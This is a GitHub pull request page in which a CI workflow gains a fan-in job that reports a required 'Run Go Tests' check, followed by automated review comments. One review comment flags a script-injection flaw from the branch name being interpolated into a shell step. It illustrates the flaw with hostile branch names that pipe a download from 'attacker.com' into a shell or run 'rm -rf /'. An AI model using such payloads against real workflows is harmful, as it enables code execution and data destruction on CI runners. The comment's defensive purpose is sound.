ci: fix 'Run Go Tests' required check never reporting on PRs#5316
ci: fix 'Run Go Tests' required check never reporting on PRs#5316leaanthony wants to merge 4 commits intomasterfrom
Conversation
Matrix jobs report status as 'Run Go Tests (os, version)' per leg — the bare 'Run Go Tests' check required by branch protection is never reported, leaving every PR stuck on 'Waiting for status to be reported'. Add a fan-in job (go_test_results) that runs after the matrix, reports as exactly 'Run Go Tests', and passes when all legs pass or are skipped. Same pattern already used by build-and-test-v3.yml's build_results job.
![github-advanced-security[bot]](https://avatars.githubusercontent.com/in/57789?s=60&v=4){kind=small}
WalkthroughAdds a top-level ChangesGo Tests Result Aggregation
Sequence DiagramsequenceDiagram
participant PR as "Pull Request"
participant GH as "GitHub Actions"
participant TestGo as "test_go job"
participant Skip as "skip_tests job"
participant Aggregator as "go_test_results job"
PR->>GH: push / PR event triggers workflow
GH->>TestGo: start test_go matrix jobs
GH->>Skip: start skip_tests job (conditional)
TestGo-->>GH: completes (conclusion: success/failure)
Skip-->>GH: completes (conclusion: success/failure)
GH->>Aggregator: always start after TestGo & Skip
Aggregator->>GH: read needs.test_go.result & needs.skip_tests.result
Aggregator-->>GH: exit 0 or 1 based on evaluated results
Estimated Code Review Effort🎯 3 (Moderate) | ⏱️ ~20 minutes Possibly Related PRs
Poem
🚥 Pre-merge checks | ✅ 4 | ❌ 1❌ Failed checks (1 inconclusive)
✅ Passed checks (4 passed)
✏️ Tip: You can configure your own custom pre-merge checks in the settings. ✨ Finishing Touches🧪 Generate unit tests (beta)
Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out. Comment |
There was a problem hiding this comment.
Pull request overview
Fixes a stuck required branch-protection check by adding an explicit “fan-in” job that posts a single, aggregate status for the Go test matrix in the pr-master workflow.
Changes:
- Adds a
go_test_resultsjob that runs after thetest_gomatrix and reports as Run Go Tests (matching the required check name). - Makes the aggregate job run with
if: always()and fail the workflow when the upstream matrix result is notsuccess/skipped.
💡 Add Copilot custom instructions for smarter, more guided reviews. Learn how to get started.
![coderabbitai[bot]](https://avatars.githubusercontent.com/in/347564?s=60&v=4){kind=small}
There was a problem hiding this comment.
♻️ Duplicate comments (1)
.github/workflows/pr-master.yml (1)
117-129:⚠️ Potential issue | 🟠 Major | ⚡ Quick winMissing
permissionsblock ongo_test_results(already flagged by CodeQL).The
go_test_resultsjob doesn't restrictGITHUB_TOKENpermissions. Since this job only runs a shell exit-code check and needs no GitHub API access, a minimalpermissions: {}block is the right fix.🔒 Proposed fix
go_test_results: name: Run Go Tests if: always() needs: [test_go] runs-on: ubuntu-latest + permissions: {} steps:🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In @.github/workflows/pr-master.yml around lines 117 - 129, The go_test_results job (named "Run Go Tests"/job identifier go_test_results) is missing a permissions block; add a minimal permissions: {} entry to the job definition so the default GITHUB_TOKEN permissions are not granted (place the permissions: {} directly under the job header, alongside needs/runs-on/steps) to ensure no GitHub API access is allowed by this shell-only result-checking job.
🤖 Prompt for all review comments with AI agents
Verify each finding against the current code and only fix it if needed.
Duplicate comments:
In @.github/workflows/pr-master.yml:
- Around line 117-129: The go_test_results job (named "Run Go Tests"/job
identifier go_test_results) is missing a permissions block; add a minimal
permissions: {} entry to the job definition so the default GITHUB_TOKEN
permissions are not granted (place the permissions: {} directly under the job
header, alongside needs/runs-on/steps) to ensure no GitHub API access is allowed
by this shell-only result-checking job.
ℹ️ Review info
⚙️ Run configuration
Configuration used: Path: .coderabbit.yaml
Review profile: CHILL
Plan: Pro
Run ID: a1e4cc19-3997-429e-a960-e992cd4a1ac0
📒 Files selected for processing (1)
.github/workflows/pr-master.yml
…ntain permissions' Co-authored-by: Copilot Autofix powered by AI <62310815+github-advanced-security[bot]@users.noreply.github.com>
Co-authored-by: Copilot Autofix powered by AI <175728472+Copilot@users.noreply.github.com>
There was a problem hiding this comment.
Actionable comments posted: 1
🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
Inline comments:
In @.github/workflows/pr-master.yml:
- Around line 142-157: The script assigns the untrusted
github.event.pull_request.head.ref directly into the shell which allows script
injection; fix by moving the expression into the step's env block (e.g., define
BRANCH: ${{ github.event.pull_request.head.ref }}) and then reference that
environment variable in the script (replace assignment to branch with
branch="$BRANCH"); keep needs.test_go.result and needs.skip_tests.result as-is,
and ensure the script uses the safe $BRANCH value everywhere instead of the
direct expression.
🪄 Autofix (Beta)
❌ Autofix failed (check again to retry)
Fix all unresolved CodeRabbit comments on this PR:
- Push a commit to this branch (recommended)
- Create a new PR with the fixes
ℹ️ Review info
⚙️ Run configuration
Configuration used: Path: .coderabbit.yaml
Review profile: CHILL
Plan: Pro
Run ID: 7798ff1b-ff39-4d4d-85cb-e1d6134b99e0
📒 Files selected for processing (1)
.github/workflows/pr-master.yml
| - run: | | ||
| test_result="${{ needs.test_go.result }}" | ||
| skip_result="${{ needs.skip_tests.result }}" | ||
| branch="${{ github.event.pull_request.head.ref }}" | ||
|
|
||
| if [[ "$test_result" == "success" ]]; then | ||
| exit 0 | ||
| fi | ||
|
|
||
| if [[ "$branch" == "update-sponsors" && "$skip_result" == "success" ]]; then | ||
| exit 0 | ||
| fi | ||
|
|
||
| echo "Go tests result: $test_result" | ||
| echo "Skip tests result: $skip_result" | ||
| exit 1 |
There was a problem hiding this comment.
🧩 Analysis chain
🏁 Script executed:
cd /dev/null 2>&1 || true
# First, let's examine the actual workflow file to see the context
git ls-files | grep -E "\.github.*pr-master\.yml"Repository: wailsapp/wails
Length of output: 140
🌐 Web query:
GitHub Actions script injection vulnerability github.event.pull_request.head.ref
💡 Result:
There is no single, known “GitHub Actions script injection vulnerability” that is specifically caused by the value of github.event.pull_request.head.ref by itself. However, github.event.pull_request.head.ref is untrusted attacker-controlled input (it’s the PR’s head branch name), and GitHub explicitly warns that “script injections” can occur when workflow code (especially inline shell/commands) evaluates or substitutes attacker-controlled values as executable script/command content rather than as plain data.[1] What the risk looks like 1) github.event.pull_request.head.ref is attacker-influenced - GitHub lists github.event.pull_request.head.ref among the github context values that may be treated as potentially untrusted input because attackers can add malicious content to the github context.[1] 2) Script injection occurs when untrusted values are inserted into a script/command unsafely - GitHub’s “Script injections” guidance explains that script injection can happen inside inline workflow scripts when expressions are evaluated and substituted into a temporary shell script; the resulting content may be interpreted as code/commands by the runner.[1] - The GitHub Actions context values like github.event.pull_request.head.ref are exactly the kind of values that, if concatenated into shell code or quoted incorrectly, can become command-injection/script-injection vectors.[1] How attackers exploit branch-name injection patterns (example evidence) - Research and writeups show workflows that build shell variables/strings using ${{ github.event.pull_request.head.ref }} in run: shell scripts, demonstrating the branch name can be used as an injection point if concatenated without safe quoting/sanitization.[2] - A public GitHub security advisory notes improper sanitization of “branch names” and states that head ref can be used to execute arbitrary code using a specially crafted branch name.[3] Important related pitfall: pull_request_target multiplies impact - Even when injection is the core mechanism, running workflows with pull_request_target and checking out attacker-controlled code can greatly increase blast radius because the workflow runs with the base repository’s privileges/secrets access.[4][5][6]. Practical mitigation guidance (grounded in GitHub’s docs) - Treat github.event.pull_request.head.ref (and other PR/user-controlled context values) as untrusted input.[1] - Do not embed untrusted values into inline shell scripts in a way that could be interpreted as code. Use safe handling that treats the value purely as data (e.g., avoid unsafe concatenation into shell command strings; validate/whitelist expected formats before use).[1] - If you must use PR branch names for checkout or filenames, strongly restrict what formats you accept and avoid directly interpolating into executable script segments.[1] - Avoid patterns where pull_request_target runs untrusted code with access to secrets; use pull_request for untrusted builds and keep privileged actions gated/permissioned appropriately.[4][5] If you paste the specific workflow snippet you’re worried about (the exact run: / shell: usage and where github.event.pull_request.head.ref is interpolated), I can tell you whether it’s actually vulnerable and what exact change fixes it.
Citations:
- 1: https://docs.github.com/en/actions/concepts/security/script-injections
- 2: https://synacktiv.com/en/publications/github-actions-exploitation-untrusted-input
- 3: GHSA-8v8w-v8xg-79rf
- 4: https://actsense.dev/vulnerabilities/insecure_pull_request_target/
- 5: https://paulserban.eu/blog/post/am-i-vulnerable-how-to-audit-your-github-actions-for-the-pullrequesttarget-flaw/
- 6: GHSA-h25v-8c87-rvm8
🌐 Web query:
GitHub Actions environment variables vs template literals script injection prevention
💡 Result:
In GitHub Actions, template literals (expressions using ${{ }}) directly in run: script blocks enable script injection when using untrusted inputs like github.event.pull_request.title, as the expression expands to raw text before shell execution, allowing attackers to inject commands (e.g., title: a"; ls).[1][2][3][4][5] Environment variables prevent this by storing the expanded value in memory as data, referenced safely with $VAR in shell (always quote: "$VAR").[1][2][3][4] Vulnerable example: - run: echo "Processing: ${{ github.event.issue.title }}" Safe example: - env: ISSUE_TITLE: ${{ github.event.issue.title }} run: echo "Processing: $ISSUE_TITLE" [6][7][1][2][3][4][8][5] This applies to secrets too: use in env: to avoid command-line exposure.[9][10] Official docs confirm: use intermediate env vars for untrusted inputs in inline scripts.[1][4] Expressions are safe in if:, env:, but dangerous in run: or script:.[11][12][8]
Citations:
- 1: https://docs.github.com/en/actions/concepts/security/script-injections
- 2: https://securitylab.github.com/resources/github-actions-untrusted-input/
- 3: https://github.blog/security/supply-chain-security/four-tips-to-keep-your-github-actions-workflows-secure/
- 4: https://docs.github.com/en/actions/security-guides/using-githubs-security-features-to-secure-your-use-of-github-actions
- 5: https://securitylab.github.com/resources/github-actions-untrusted-input
- 6: [plan] Fix template-injection vulnerabilities in 16 workflows (High severity) github/gh-aw#25862
- 7: [plan] Fix template injection vulnerabilities in 11 workflows github/gh-aw#9124
- 8: https://github.blog/2023-08-09-four-tips-to-keep-your-github-actions-workflows-secure
- 9: https://www.kenmuse.com/blog/github-actions-injection-attacks/
- 10: https://docs.github.com/actions/security-guides/using-secrets-in-github-actions
- 11: https://zenn.dev/135yshr/articles/7c5d99d5f45ed7?locale=en
- 12: https://docs.github.com/en/actions/concepts/workflows-and-actions/expressions
🏁 Script executed:
if [ -f ".github/workflows/pr-master.yml" ]; then
cat -n .github/workflows/pr-master.yml | sed -n '130,165p'
else
echo "File not found, searching for workflow files"
find . -name "pr-master.yml" -type f 2>/dev/null
fiRepository: wailsapp/wails
Length of output: 1127
Script injection vulnerability: github.event.pull_request.head.ref must be passed via environment variable.
${{ github.event.pull_request.head.ref }} is expanded by GitHub Actions before the script is written to disk. Since github.event.pull_request.head.ref is user-controlled (the PR's branch name), an attacker can inject code — a branch named $(curl attacker.com | sh) or "; rm -rf / # would execute during the assignment. The standard fix is to move the untrusted value to the env: block; the expression is evaluated safely in that context and passed to the script as a literal string value, preventing injection.
needs.test_go.result and needs.skip_tests.result are GitHub-internal enum values and do not need to move.
🔒 Proposed fix — pass branch ref through env
steps:
- - run: |
+ - env:
+ BRANCH: ${{ github.event.pull_request.head.ref }}
+ run: |
test_result="${{ needs.test_go.result }}"
skip_result="${{ needs.skip_tests.result }}"
- branch="${{ github.event.pull_request.head.ref }}"
if [[ "$test_result" == "success" ]]; then
exit 0
fi
- if [[ "$branch" == "update-sponsors" && "$skip_result" == "success" ]]; then
+ if [[ "$BRANCH" == "update-sponsors" && "$skip_result" == "success" ]]; then
exit 0
fi
echo "Go tests result: $test_result"
echo "Skip tests result: $skip_result"
exit 1🧰 Tools
🪛 actionlint (1.7.12)
[error] 142-142: "github.event.pull_request.head.ref" is potentially untrusted. avoid using it directly in inline scripts. instead, pass it through an environment variable. see https://docs.github.com/en/actions/reference/security/secure-use#good-practices-for-mitigating-script-injection-attacks for more details
(expression)
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In @.github/workflows/pr-master.yml around lines 142 - 157, The script assigns
the untrusted github.event.pull_request.head.ref directly into the shell which
allows script injection; fix by moving the expression into the step's env block
(e.g., define BRANCH: ${{ github.event.pull_request.head.ref }}) and then
reference that environment variable in the script (replace assignment to branch
with branch="$BRANCH"); keep needs.test_go.result and needs.skip_tests.result
as-is, and ensure the script uses the safe $BRANCH value everywhere instead of
the direct expression.
|
Note Autofix is a beta feature. Expect some limitations and changes as we gather feedback and continue to improve it. ⛔ CodeRabbit does not have permission to push changes to this repository. Please ensure CodeRabbit has Contents: Read and write permission. |
Problem
Every PR to
masteris stuck on:This is a required branch-protection check that is never satisfied, even when all actual test jobs pass.
Root cause
pr-master.ymlhas a matrix job withname: Run Go Tests. GitHub Actions reports each matrix leg as a separate status check:Run Go Tests (ubuntu-22.04, 1.25),Run Go Tests (windows-latest, 1.25), etc. No aggregate check with the bare nameRun Go Testsis ever posted — so the branch-protection requirement (which requires exactly that name) is permanently unsatisfied.Fix
Add a fan-in job (
go_test_results) that:needs: [test_go])if: always()so it always posts a status, even whentest_gois skippedRun Go Teststo match the branch-protection context nameThis is the same pattern
build-and-test-v3.ymlalready uses with itsbuild_resultsjob.Testing
The
go_test_resultsjob will appear on this PR itself — it should pass and theRun Go Testsrequired check will be green for the first time.Summary by CodeRabbit